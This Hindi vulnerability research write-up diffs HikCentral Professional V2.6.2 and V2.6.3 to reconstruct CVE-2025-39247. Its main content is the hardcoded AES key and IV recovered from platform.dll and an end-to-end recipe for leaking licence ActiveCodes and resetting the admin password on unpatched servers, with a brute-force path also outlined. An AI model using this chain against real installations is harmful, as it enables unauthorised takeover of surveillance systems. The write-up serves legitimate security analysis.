
HikCentral Professional - प्री-ऑथ लाइसेंस एक्टिवकोड लीक
कुछ भी डाउनलोड करने से पहले, पहले से सार्वजनिक क्या है:
| स्रोत | यह हमें क्या बताता है |
|---|---|
| Hikvision सुरक्षा सलाह | "API एंडपॉइंट पर प्रमाणीकरण जाँच गायब", V2.6.3 / V3.0.1 में अपग्रेड करने की सलाह |
| NVD CVE-2025-39247 | CVSS मेट्रिक्स; वेक्टर network, no auth, scope-changed, confidentiality-high है |
| Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews सारांश | सभी सलाह को दोहराते हैं; कोई तकनीकी विवरण नहीं, कोई PoC नहीं, कोई प्रभावित एंडपॉइंट नाम नहीं |
| GitHub PoC एग्रीगेटर (poc-in-github, 0xMarcio/cve, आदि) | कोई PoC अनुक्रमित नहीं |
| फ़ोरम (ipcamtalk, cctvforum, reddit), टोरेंट इंडेक्सर | कोई PoC नहीं, कोई लीक हुआ इंस्टॉलर नहीं; ipcamtalk पर HikCentral उपयोग थ्रेड है लेकिन एक्सप्लॉइट-संबंधित कुछ भी नहीं |
तो विश्लेषण तिथि के अनुसार, कोई सार्वजनिक तकनीकी लेख बग को उजागर नहीं करता है। कोई भी पुनरुत्पादन बाइनरी डिफिंग से शुरू होता है।
CVE-2025-39247 प्रकाशित होने के बाद V2.6.2 डाउनलोड पृष्ठ को हटा दिया गया, लेकिन CDN पर फ़ाइल कभी शुद्ध नहीं की गई। फ़ाइल नाम एक तृतीय-पक्ष मिरर से प्राप्त किया जा सकता है जिसने हटाने से पहले पृष्ठ को अनुक्रमित किया था (FileHorse — प्रकाशित फ़ाइल नाम और MD5)। उस फ़ाइल नाम के साथ, Hikvision के CDN पर एक साधारण GET — केवल एक सामान्य ब्राउज़र User-Agent और एक मेल खाते Referer हेडर का उपयोग करके — अभी भी इसे प्रस्तुत करता है।```bash
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0"
-H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/"
-O
"https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"
आकार: 1,314,043,792 बाइट्स (1.22 जीबी)
- MD5: `76d42e7cb16dc0e177b9a35d0fed7ced` — FileHorse-प्रकाशित मान से मेल खाता है, जो वास्तविक Hikvision-हस्ताक्षरित इंस्टॉलर की पुष्टि करता है (तीसरे पक्ष का रीबंडल नहीं)
- CDN प्रतिक्रिया हेडर: `HTTP/2 200`, `content-type: application/x-msdownload`, `eo-cache-status: HIT`, `age: 2520395` (लगभग 29 दिन Tencent EdgeOne एज कैश में बिना निष्कासन के)
**Hikvision PSIRT को रिपोर्ट करने योग्य पार्श्व अवलोकन:** V2.6.2 पृष्ठ का "डीलिस्टिंग" सतही है। अनाथ फ़ाइल बिना प्रमाणीकरण और बिना signed-URL गेट के CDN पर पहुंच योग्य है। V2.5.1 और V2.6.0 फुल पैक उसी तरह प्रतिक्रिया देते हैं।
### 2.2 पैच किया गया इंस्टॉलर (V2.6.3 बेस पैक)
वर्तमान में V2.6.3 डाउनलोड पृष्ठ से लिंक किया गया है; वही पुनर्प्राप्ति विधि:```
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
अभी भी V2.6.2 डाउनलोड पृष्ठ से लिंक किया गया है (Hikvision चाहता है कि उपयोगकर्ता इसे लागू करें):``` https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
- आकार: 32,599,504 बाइट्स (31 MB)
---
## 3. स्थैतिक निष्कर्षण
ये तीनों InstallShield-शैली के PE रैपर हैं। `7z` इन्हें दो पासों में अलग करता है:```bash
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>
# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
done
done
दोनों इंस्टॉलर लगभग दो दर्जन नामित पेलोड आर्काइव में विस्तारित होते हैं। शीर्ष-स्तरीय निर्देशिकाएँ आर्किटेक्चर दिखाती हैं:
महत्वपूर्ण बात यह है कि कहीं भी कोई Java JARs/WARs नहीं हैं। बैकएंड Nginx पर C++ है — यह महत्वपूर्ण है क्योंकि यह तुरंत बताता है कि कोई भी प्रमाणीकरण दोष संकलित बाइनरी में होगा, न कि WAR/JAR बाइटकोड में जहाँ डीकंपिलेशन आसान होता है।
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")} v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")} common = set(v262) & set(v263) changed = [p for p in common if v262[p] != v263[p]]
परिणाम: सामान्य पथों में 239 बदली हुई फ़ाइलें। वितरण:
| बकेट | गणना | टिप्पणी |
|---|---|---|
| `246/www/*.js` (Web UI चंक) | ~200 | अधिकतर वर्शन-बढ़ाए गए एसेट हैश; उपेक्षा करें |
| `246/Nginx/conf/nginx_location.conf` | **1** | **एकल-फ़ाइल Nginx कॉन्फिग डेल्टा — यहाँ से शुरू करें** |
| `246/Nginx*/install.bat` | 6 | इंस्टॉल स्क्रिप्ट, असंबंधित |
| `244/bin/*.{exe,dll}` | 6 | नेटिव बाइनरी (`DistributionFilter.dll`, `FilterChain.dll`, मीडिया उपकरण) |
| `282/*.{exe,dll}` | 55 | एप्लिकेशन सेवाएँ (सबसे बड़ा क्लस्टर — `platform.dll`, `PersonCredential.dll`, `baseacs.*`, …) |
| `240/bin/pg_*` | 6 | Postgres पुनर्निर्माण, असंबंधित |
| `284/hplugin/dahua_plugin/*` | 4 | विक्रेता SDK रीफ्रेश (+10.97 MB) — असंबंधित |
| `284/hplugin/onvif_plugin/*` | 4 | विक्रेता SDK रीफ्रेश (+0.99 MB) — असंबंधित |
| अपग्रेड/अनइंस्टॉल स्टब्स, क्रैश रिपोर्टर्स | ~30 | समान आकार के PE टाइमस्टैम्प पुनर्निर्माण, उपेक्षा करें |
विक्रेता SDK रीफ्रेश, बिल्ड-सिस्टम टाइमस्टैम्प ड्रिफ्ट, और विशुद्ध कॉस्मेटिक एसेट बढ़ोतरी को फ़िल्टर करने के बाद, *वास्तविक* सुरक्षा-प्रासंगिक डेल्टा इस प्रकार कम हो जाते हैं:
- एक Nginx कॉन्फिग फ़ाइल
- `282/` में C++ बाइनरी की एक छोटी संख्या (सबसे प्रमुख रूप से `platform.dll`, HCMP बैकएंड सेवा, +57 KB)
---
## 5. Nginx डिफ़: मुफ़्त बग स्थान
V2.6.2 और V2.6.3 के बीच `diff -u nginx_location.conf` चलाने पर ठीक एक हंक उत्पन्न होता है: V2.6.3 में एक बिल्कुल नया `location =` ब्लॉक।```nginx
#禁止非127.0.0.1和::1的重置密码 ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
if ($allowed != "1") { return 403; }
if ($scheme = "http") { proxy_pass http://http_backend; }
if ($scheme = "https") { proxy_pass http://http2_backend; }
}
वह एकल 21-पंक्ति जोड़, फ्रंट-डोर स्तर पर CVE-2025-39247 का संपूर्ण फिक्स है, और यह आपको सब कुछ बताता है:
PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword/ISAPI/Bumblebee/Platform/V0/* प्रॉक्सी निर्देश से होते हुए बैकएंड तक पहुंचता है जिसमें कोई रिमोट-एड्रेस प्रतिबंध और कोई Nginx-स्तरीय प्रमाणीकरण जांच नहीं है।चीनी टिप्पणी महत्वपूर्ण है: इसका शाब्दिक अनुवाद है "गैर-127.0.0.1/::1 से पासवर्ड रीसेट निषिद्ध करें"।
वेब UI जावास्क्रिप्ट (minified, 246/www/Portal/*.js में) एंडपॉइंट को इस प्रकार कॉल करता है:
---```js // API definition (de-minified): changeDefaultUserPassword: function (sid, payload, opts) { return http.put({ url: "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword", data: { ChangeDefaultUserPasswordRequest: payload }, params: { SID: sid } }, opts); }
// Call site: changeDefaultUserPassword(n.SID, { UserName: form.userName, // "admin" Password: jsEncrypt.encrypt(form.newPassword), // RSA-PKCS1v15 ActiveCode: form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "", QuestionList: questionAnswers // [{ID, Answer}, …] or [] }, ...);
// The RSA pubkey comes from another unauthenticated endpoint: getCrypto: function () { http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" }); } // returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }
तो किसी भी चीज़ को डिसअसेंबल करने से पहले, सार्वजनिक JS आपको पूरा वायर शेप देता है। लेकिन यह अजीब हिस्सा भी बताता है: अनुरोध बॉडी को **या तो एक वैध `ActiveCode` या सही `QuestionList` उत्तर** चाहिए। खाली मान भेजने से काम नहीं चलेगा - बैकएंड दस्तावेज़ीकृत त्रुटियों में से एक के साथ अस्वीकार करता है ( `platform.dll` , §7 से स्ट्रिंग-माइनिंग द्वारा सत्यापित)।
इसलिए CVE-2025-39247 **नहीं** है "एंडपॉइंट auth-बाईपास है; खाली फ़ील्ड भेजें और पासवर्ड बदल जाता है"। यह है "एंडपॉइंट *एक लोकल-ओनली कॉलर पर भरोसा करता है* कि उसके पास पहले से ही सही ActiveCode है; बग यह है कि नेटवर्क-स्तरीय लोकलहोस्ट गेट गायब है, इसलिए कोई भी *रिमोट* कॉलर जो *भी* एक वैध ActiveCode या QuestionList प्रदान कर सकता है, सफल हो जाता है।" इसलिए वास्तविक शोषण पहेली यह है: ActiveCode या QuestionList कहाँ से आता है?
---
## 7. बैकएंड हैंडलर — `platform.dll` की स्ट्रिंग-माइनिंग
`platform.dll` HCMP बैकएंड सेवा है, V2.6.2 में 46.87 MB, V2.6.3 में 46.93 MB (+57 KB)। सभी रूटिंग स्ट्रिंग्स, लॉग फ़ॉर्मेट स्ट्रिंग्स, और C++ RTTI / `__FUNCTION__` स्ट्रिंग्स स्पष्ट रूप में मौजूद हैं।
हैंडलर के आसपास `platform.dll` के अंदर स्ट्रिंग्स:```
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer
[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].
platform.dll के दोनों संस्करणों में ये स्ट्रिंग्स हैं। इसलिए V2.6.2 में भी वैलिडेशन लॉजिक मौजूद है — ActiveCode और QuestionList जाँचे जाते हैं।
V2.6.3 platform.dll में मौजूद स्ट्रिंग्स जो V2.6.2 में नहीं हैं:```
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze ....\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp [%s]AddAccountLoginFailCount only admin can lock, but id: %d
127.0.0.1
admin
VSMPlatform::CCmd::CheckToken /ResponseStatus/Data/TokenValid [%s]token = %s, session = %s
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber /ResponseStatus/Data/RetrievePasswordResult/LockRemainTime /ResponseStatus/Data/RetrievePasswordResult/RemainingType
अनुवाद: V2.6.2 में `ChangeDefaultUserPassword` सत्यापन पथ पर **कोई** रेट-लिमिट नहीं था। एक हमलावर जो गलत ActiveCode या गलत सुरक्षा-प्रश्न उत्तर प्रदान करता है, उसे केवल एक त्रुटि मिलती है और वह अनिश्चित काल तक पुनः प्रयास कर सकता है। `%06d` सत्यापन-कोड प्रारूप स्ट्रिंग भी `platform.dll` में है (SQL स्कीमा `verify_code VARCHAR(64)` के साथ), जो पुष्टि करता है कि ईमेल सत्यापन कोड एक **6-अंकीय दशमलव** है, खोज-स्थान 10⁶।
यह पहले से ही एक व्यवहार्य शोषण है (पथ A): `SendVerifyCode` ट्रिगर करें, समाप्ति विंडो के अंदर बिना लॉकआउट के 10⁶ कोड को ब्रूट-फोर्स करें। 1000 रेक/सेकंड पर सफलता का औसत समय ≈ 8 मिनट है। लेकिन एक अधिक तीक्ष्ण पथ है।
---
## 8. पूर्व-प्रमाणीकरण सूचना-प्रकटीकरण सतह
`platform.dll` में एंडपॉइंट गणना कई सहोदर प्रकट करती है जो संबंधित लगते हैं:```
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode
इनमें से कोई भी nginx_location.conf द्वारा प्रतिबंधित नहीं है; सभी एक ही डिफ़ॉल्ट /ISAPI/Bumblebee/Platform/* प्रॉक्सी के माध्यम से जाते हैं। हैंडलर स्ट्रिंग्स दिखाती हैं कि वे क्या लौटाते हैं:```
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve
So `RetrieveStateInfo(Name=admin)` एडमिन का ईमेल, सुरक्षा-प्रश्न पुनर्प्राप्ति कॉन्फ़िगर की गई है या नहीं, ईमेल पुनर्प्राप्ति कॉन्फ़िगर की गई है या नहीं, और किसी भी चल रहे वेरिफाई कोड के शेष जीवनकाल को लौटाता है — किसी भी अनधिकृत व्यक्ति को।
`RetrieveStateInfo` को V2.6.3 पैच द्वारा लॉकडाउन नहीं किया गया है। सूचना प्रकटीकरण V2.6.3 में बना रहता है।
---
## 9. लाइसेंस/QR आक्रमण सतह
एंडपॉइंट `/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode` इसलिए उल्लेखनीय है क्योंकि इसका नाम *License* को *ActiveCode* के साथ जोड़ता है — और पासवर्ड-रीसेट हैंडलर भी एक `ActiveCode` फ़ील्ड स्वीकार करता है। यह शब्दावली का एक संदिग्ध ओवरलैप है।
उस हैंडलर से पहुंचने योग्य स्ट्रिंग्स:```
License:%s;DZP:%s ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s ← AES path used to encrypt
[%s]Base64Encode failed! data:%s ← then base64
/ResponseStatus/Data/QRCode ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s
तो QR है Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) और प्लेनटेक्स्ट में अक्षरशः प्रति-स्थापना लाइसेंस ActiveCode शामिल है जिसे पासवर्ड-रीसेट एंडपॉइंट सत्यापित करता है। QR को एक URL टेम्पलेट https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> में लपेटा जाता है, जिसे फिर QR-PNG के रूप में प्रस्तुत किया जाता है; PNG ही वह है जो JSON प्रतिक्रिया फ़ील्ड Data.QRCode लौटाता है।
V2.6.3 डिफ़ द्वारा पुष्टि: फ़ॉर्मेट स्ट्रिंग License:%s;DZP:%s V2.6.2 platform.dll में मौजूद है और V2.6.3 में हटा दी गई है। QR एंडपॉइंट स्वयं, PrivateAESEncrptQRCode फ़ंक्शन सिंबल, और IV लिटरल (§10) सभी V2.6.3 में बने हुए हैं — केवल लीकी प्लेनटेक्स्ट फ़ॉर्मेट को हटाया गया था। Hikvision के फिक्स से बिल्कुल यही उम्मीद की जाती है।
यह भारी काम वाला कदम है। योजना:
platform.dll में फ़ंक्शन VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode खोजें।त्रुटि फ़ॉर्मेट स्ट्रिंग [%s]PrivateAESEncrptQRCode failed! data:%s .rdata में रहती है। इसका .rdata VMA ढूंढें, फिर .text में lea r, [rip + rel32] निर्देशों को स्कैन करें जो उस VMA को हल करते हैं। (16 MB .text के लिए, pefile + capstone का उपयोग करके REX.W + 8D + MODRM mod=00 rm=101 पैटर्न के लिए रैखिक चलने में कुछ सेकंड लगते हैं।)
त्रुटि लॉग का संदर्भ ठीक एक निर्देश 0x1812553f7 पर है। .pdata (PE x64 अनवाइंड टेबल — सेक्शन हेडर pefile के साथ पार्स करने योग्य, प्रति RUNTIME_FUNCTION एंट्री बारह बाइट्स: start_RVA, end_RVA, unwind_RVA) के माध्यम से संलग्न फ़ंक्शन तक ऊपर जाने पर बाहरी ISAPI हैंडलर CLicenseISAPIComm::ActiveCodeQRcode 0x181254cc0..0x181255919 पर मिलता है।
वह बाहरी फ़ंक्शन "License:%s;DZP:%s" प्लेनटेक्स्ट स्ट्रिंग बनाता है और परिणाम को base64-एनकोड करता है; वास्तविक AES कॉल एक सहायक फ़ंक्शन में एक स्तर नीचे, 0x18002a397 पर है (एक jmp थंक के माध्यम से 502-बाइट फ़ंक्शन को हल करता है जिसका RTTI स्ट्रिंग VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode है — स्ट्रिंग xref द्वारा पुष्टि की गई)।
0x1807d33e0 पर AES रैपर के अंदर502-बाइट बॉडी को डिसअसेंबल करना और प्रत्येक lea r, [rip + rel32] को सूचीबद्ध करना जिसका लक्ष्य .rdata में पड़ता है, केवल 5 स्ट्रिंग्स लौटाता है:```
0x1807d34d2 -> 0x18200b1b0 len=16 'AaBbCcDd1234!@#$' ← 16 bytes of letters/digits/symbols
0x1807d3516 -> 0x18200b1d0 len=48 '....\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a -> 0x18200b218 len=48 'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531 -> 0x18200b250 len=23 '[%s]error is %d[%s(%d)]'
0x1807d3538 -> 0x18200b268 len=23 'platform.PriorityLogger'
पहली प्रविष्टि एकमात्र 16-बाइट stringref है। वह लंबाई संदिग्ध है: AES ब्लॉक / कुंजी / IV सभी AES-128 के लिए 16 बाइट हैं। शाब्दिक `AaBbCcDd1234!@#$` — आठ वैकल्पिक-केस अक्षर जोड़े और फिर `1234!@#$` — एक पाठ्यपुस्तक "डेवलपर प्लेसहोल्डर स्थिरांक" आकृति है (वास्तविक `BAADF00D` / `DEADBEEF` ASCII मुहावरों के समान)। इस बिंदु पर एक उचित परिकल्पना है "यह IV है"।
वह परिकल्पना डिस्सेम्बली संदर्भ द्वारा समर्थित है। stringref के आसपास का निर्देश अनुक्रम:```asm
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov dword ptr [rsp + 0x100], 5 ; some flag = 5
lea rdx, [rip + 0x1837cd7] ; <— loads "AaBbCcDd1234!@#$"
lea rcx, [rsp + 0xe0] ; destination
call <thunk> ; std::string assign-like; copies 16B into [rsp+0xe0]
mov dword ptr [rsp + 0x104], 1
lea rdx, [rsp + 0xa0] ; pass: rdx = key (16B at [rsp+0xa0])
lea rcx, [rsp + 0x60] ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563> ; → 0x181b03790, a generic AES mode-dispatcher
; that imports AES_cbc_encrypt, AES_cfb128_encrypt,
; AES_ecb_encrypt and AES_ofb128_encrypt.
; QR path takes the AES_cbc_encrypt branch.
So [rsp+0xe0] ends up holding the IV bytes, [rsp+0xa0] holds 16 bytes built earlier into [rsp+0xc0] (the key), and these two buffers are then passed to the OpenSSL wrapper. Confirming the IV recovery is just a matter of cross-checking: V2.6.3's platform.dll still contains the literal AaBbCcDd1234!@#$ at the same offset — Hikvision did not rotate the IV, which is the correct cryptographic choice (only the key needs to be secret, the IV needs to be unique-per-message, but a fixed IV is "weak" not "broken" the way a fixed key is).
IV stringref के ठीक ऊपर, wrapper इस छोटे अनुक्रम के साथ key सेट करता है:```asm mov dl, 0x41 ; seed byte = 'A' lea rcx, [rsp + 0x140] ; this-pointer for a local buffer call <thunk 0x1800683fe> ; → 0x1807d19b0 (599-byte function) mov [rsp + 0x50], rax mov rdx, [rsp + 0x50] ; rdx = pointer to the 16-byte buffer the call just produced lea rcx, [rsp + 0xc0] call <std::string assign> ; copy the 16 bytes into the key buffer at [rsp+0xc0]
फिर `0x1807d19b0` को डिसअसेंबल करने पर: यह एक *शुद्ध-अंकगणितीय कुंजी-व्युत्पन्न फलन* है। यह इनपुट के रूप में एक बाइट (`0x41`) लेता है, 16 स्टैक बाइट्स आवंटित करता है, और 16 मान लिखता है, प्रत्येक `seed + offset_i` के रूप में गणना किया जाता है, जो 16 हार्डकोडेड साइन किए गए ऑफ़सेट के अनुक्रम के लिए है:```
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D
बीज 0x41 ('A') के साथ:
Algorithm: AES-128-CBC with PKCS7 padding IV (16): 41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24 → AaBbCcDd1234!@#$ KEY (16): 57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24 → WwXxYyZz1234!@#$
समान अंकगणितीय परिवार। समान अंतिम 8 बाइट्स (`1234!@#$`). दोनों बाइनरी-एम्बेडेड स्थिरांक हैं जो प्रत्येक V2.6.2 इंस्टॉल (और V2.3.1 .. V2.6.2 और V3.0.0 में — वे QR-एन्क्रिप्ट पथ साझा करते हैं) में समान हैं, इसलिए `platform.dll` की एक प्रति से एक बार पुनर्प्राप्ति नेटवर्क पर किसी भी कमजोर HCMP सर्वर से QR को डिक्रिप्ट करने के लिए पर्याप्त है।
---
## 11. एंड-टू-एंड श्रृंखला
श्रृंखला स्पष्ट रूप से दो भागों में विभाजित होती है:
- **भाग 1-3** HCMP में एक अनप्रमाणित **सूचना-प्रकटीकरण** समस्या है। वे लक्ष्य के विरुद्ध दो केवल-पढ़ने के अनुरोधों के साथ चलते हैं और प्री-लॉगिन एंडपॉइंट से एक प्रति-इंस्टॉल रहस्य (लाइसेंस ActiveCode) पुनर्प्राप्त करते हैं।
- **भाग 4-5** **अधिग्रहण** है जो पुनर्प्राप्त ActiveCode को सामान्य Web UI के माध्यम से HCMP के वैध "पासवर्ड भूल गए" वर्कफ़्लो में सबमिट करके किया जाता है। किसी विशेष HTTP अनुरोध की आवश्यकता नहीं है — ऑपरेटर उसी फॉर्म पर क्लिक करता है जो एक वैध उपयोगकर्ता करेगा।
यह विभाजन महत्वपूर्ण है: यह संदर्भ PoC को एक शुद्ध रिकॉन टूल के रूप में लागू करने की अनुमति देता है जिसमें कहीं भी कोई विनाशकारी कोड पथ नहीं है (UI वर्कफ़्लो मानव-इन-द-लूप रहता है)।```
HALF 1 — automated recon (recovers the ActiveCode):
1. POST /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET (empty body)
(unauthenticated, read-only)
→ ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
→ SID is a server-issued anonymous session token used by step 2.
2. POST /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
(empty body, unauthenticated, read-only)
→ ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
The QR's payload is the URL template
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
where <b64> = base64(
AES-128-CBC-PKCS7(
KEY = WwXxYyZz1234!@#$,
IV = AaBbCcDd1234!@#$,
PT = "License:<code>[,<code>...];DZP:<devicecode>"))
The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
(one per licensed module on the target). Any single ActiveCode in
that list is accepted by the takeover workflow in HALF 2.
3. Locally:
a. base64-decode the QRCode field → PNG bytes
b. decode the QR (e.g. pyzbar) → URL string
c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
base64 character that must survive verbatim)
d. base64-decode → 16N bytes of AES ciphertext
e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
f. split on "License:" / "," / ";DZP:"
→ list of ActiveCodes in plaintext.
HALF 2 — manual takeover via the legitimate Web UI:
4. Open https://<target>:<port> in a browser.
5. Click «Forgot password».
6. Username → admin
7. Recovery method → «Activation code» (NOT email / questions)
8. Activation code → <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.
कोई ब्रूट फोर्स नहीं, कोई सोशल इंजीनियरिंग नहीं, 16-बाइट KEY+IV जोड़ी के अलावा कोई पूर्व ज्ञान नहीं जो एक V2.6.2 platform.dll से एक बार प्राप्त की जा सकती है और प्रत्येक कमजोर संस्करण की हर स्थापना पर समान होती है। भाग 4-10 ऑपरेटर द्वारा वैध UI के माध्यम से मैन्युअल रूप से किए जाते हैं — संदर्भ PoC में कोई स्वचालित समकक्ष नहीं है।
कार्यान्वयन: poc/cve_2025_39247_poc.py — एक केवल-पुनर्जानकारी Python स्क्रिप्ट। यह भाग 1 (दो प्री-प्रमाणीकरण केवल-पढ़ने वाले POST) करता है और फिर ऑपरेटर के लक्ष्य URL और प्राप्त ActiveCode(s) के साथ मैन्युअल नुस्खा (चरण 4-10) मुद्रित करता है। स्क्रिप्ट में लक्ष्य पर लिखने वाला कोई कोड नहीं है; भाग 2 वेब UI के माध्यम से मैन्युअल रूप से किया जाता है, इसलिए उपकरण एक सत्यापन उपकरण बना रहता है न कि एक फायर-एंड-फॉरगेट हथियार।
चलाएँ:```bash python3 poc/cve_2025_39247_poc.py https://:
दो `--qr-*` फ़्लैग स्क्रिप्ट को कैप्चर किए गए QR के विरुद्ध पूरी तरह से ऑफ़लाइन चलाने देते हैं (बिना लक्ष्य को फिर से हिट किए विश्लेषण के लिए):
- `--qr-scanned-text '<value>'` — स्कैन किए गए QR की टेक्स्ट सामग्री चिपकाएँ
- `--qr-ciphertext-hex <hex>` — प्री-एक्सट्रैक्टेड base64-डिकोडेड AES सिफरटेक्स्ट फ़ीड करें
---
## 12. V2.6.3 (और Fix-Pack) ने वास्तव में क्या बदला
| सुरक्षा | V2.6.2 | V2.6.3 | Fix-Pack on V2.6.2 |
|---|---|---|---|
| `ChangeDefaultUserPassword` पर Nginx remote-addr प्रतिबंध | अनुपस्थित | **जोड़ा गया** | **जोड़ा गया** (Fix-Pack EXE में InstallShield स्क्रिप्ट के माध्यम से — Fix-Pack के इंस्टॉलर इंजन के अंदर स्ट्रिंग्स `\VSM Servers\Web Service\Nginx\conf\nginx_location.conf` / `_bak.conf` द्वारा पुष्टि की गई) |
| हैंडलर में ऐप-स्तरीय `127.0.0.1` शाब्दिक जाँच | अनुपस्थित | **जोड़ा गया** | जोड़ा नहीं गया (Fix-Pack `platform.dll` को पैच नहीं करता) |
| प्रति-खाता लॉकआउट (`CRetrievePwdByQuesFreezeManager`) | अनुपस्थित | **जोड़ा गया (केवल व्यवस्थापक)** | जोड़ा नहीं गया |
| `CheckToken` सत्यापन चरण | अनुपस्थित | **जोड़ा गया** | जोड़ा नहीं गया |
| QR प्लेनटेक्स्ट में `License:<ActiveCode>;DZP:...` है | हाँ | **हटाया गया** | नहीं बदला गया (Fix-Pack `platform.dll` को पैच नहीं करता) |
| QR AES कुंजी | बाइनरी से पुनर्प्राप्त करने योग्य | घुमाया गया *या* अनुपयोगी (इस पर निर्भर करता है कि प्लेनटेक्स्ट-प्रारूप परिवर्तन ने पथ को मृत कर दिया है) | `wbaes_key_dec` + Fix-Pack में व्हाइटबॉक्स-AES डिक्रिप्टर के माध्यम से घुमाया गया |
| QR AES IV | `AaBbCcDd1234!@#$` | अपरिवर्तित | अपरिवर्तित |
| `RetrieveStateInfo` सूचना प्रकटीकरण | लीक करता है | **अभी भी लीक करता है** | अभी भी लीक करता है |
| `GetSecurityQuestionCommBeforeLogin` | लीक करता है | **अभी भी लीक करता है** | अभी भी लीक करता है |
| Hikvision CDN पर पहुंच योग्य कमजोर इंस्टॉलर | हाँ | हाँ | हाँ |
